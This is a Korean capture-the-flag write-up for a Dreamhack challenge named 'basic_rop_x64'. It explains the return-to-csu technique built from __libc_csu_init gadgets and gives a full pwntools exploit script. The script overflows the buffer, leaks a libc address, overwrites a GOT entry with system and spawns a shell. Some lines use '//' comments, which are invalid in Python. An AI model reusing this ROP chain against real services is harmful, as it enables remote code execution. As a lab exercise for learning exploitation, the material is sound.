RTC


가젯이 있는 경우에는 validator와 비슷하게 풀 수 있지만 이 경우에는 가젯이 없습니다. 화면 캡처 2021-03-16 232612.png
인자가 하나뿐인 puts를 사용해도 되지만, 이번에는 가젯을 찾을 필요 없이 __libc_csu_init( )라는 main의 실행에 필요한 함수의 일부분을 가젯 처럼 쓰는 RTC를 사용해 봅시다.


화면 캡처 2021-03-16 232955.png
화면 캡처 2021-03-16 233116.png
RTC 기법은 __libc_csu_init( ) 내부의 0x40087a0x400876부분을 사용합니다. 첫번째 부분에서 시작하고 두번째 부분을 계속 반복하면서 원하는 함수들을 실행시키는 원리입니다.
두번째 부분에서 dx, si,di 레지스터에 차례로 r13, r14, r15가 들어가고 r12레지스터에 저장된 주소으로 점프하는 것을 알 수 있습니다.(rbx == 0일 경우) 두번째 부분을 계속 반복하려면 rbx, rbpcmp시에 같아야 하므로 rbp1이 되어야 합니다. 또한 계속 두번째 부분을 반복하기 위해서는 add rsp 8부분을 처리하기 위해 한 함수에 대한 페이로드를 짠 후 8바이트의 더미를 넣어주어야 합니다. 이를 바탕으로 RTC체인을 위한 페이로드를 짜면 아래와 같습니다.

def RTChain(func_got, arg1, arg2, arg3):
    ret = p64(0) //rbx
    ret += p64(1) //rbp for consecutive execution
    ret += p64(func_got)
    ret += p64(arg3)
    ret += p64(arg2)
    ret += p64(arg1)
    ret += p64(second_chain) //첫번째 부분을 끝낸 후 두번째 부분의 주소를 씁니다.
    return ret
from pwn import *

buf_ret_offset = 0x48
//rdi_pop = 0x400883
//rsi_r15_pop = 0x400881
first_chain = 0x40087A
second_chain = 0x400860
context.log_level = 'debug'
p = remote("host1.dreamhack.games", 11110)
libc = ELF("./libc.so.6")
e = ELF("./basic_rop_x64")

def RTChain(func_got, arg1, arg2, arg3):
    ret = p64(0) //rbx
    ret += p64(1) //rbp //for consecutive execution
    ret += p64(func_got)
    ret += p64(arg3)
    ret += p64(arg2)
    ret += p64(arg1)
    ret += p64(second_chain)
    return ret

read_got = e.got['read']
write_got = e.got['write']
read_offset = libc.symbols['read']
bss = e.bss()
system_offset = libc.symbols['system']
payload = 'a'*buf_ret_offset
payload += p64(first_chain)
payload += RTChain(write_got, 1, read_got, 8)
payload += 'a'* 8 // add rsp, 8
payload += RTChain(read_got, 0, bss, 8)
payload += 'a' * 8
payload += RTChain(read_got, 0, write_got, 8)
payload += 'a' * 8
payload += RTChain(write_got, bss, 0, 0)
p.send(payload)

dummy = p.recv(0x40)

read_addr = u64(p.recv(8))

libc_base = read_addr - read_offset
system = libc_base + system_offset
p.send('/bin/sh')
p.send(p64(system))

p.interactive()